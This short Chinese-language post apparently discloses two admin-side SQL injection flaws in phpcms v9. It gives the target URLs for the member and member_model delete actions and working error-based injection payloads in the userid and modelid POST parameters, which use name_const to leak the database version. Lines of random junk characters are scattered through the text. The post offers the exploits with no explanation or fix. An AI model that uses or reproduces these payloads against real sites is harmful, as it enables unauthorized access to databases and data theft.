phpcms两处后台的SQL注入

admin

(一)：
2 T8 w# P- D8 P# o# c7 y$ q9 R, d

http://www.0day5.com/phpcmsv9/index.php?m=member&c=member&a=delete&pc_hash=GlyB7G&id

post

userid=(select * from (select * from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

. E% F9 [7 l3 w  }$ G) R! Y
1 M6 m( c# B3 t0 }. x3 N" h. n6 K
3 B7 N  {% n" D3 `6 H/ }

(二)：

http://www.0day5.com/phpcmsv9/index.php?m=member&c=member_model&a=delete&pc_hash=GlyB7G

post

modelid=(select * from (select * from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)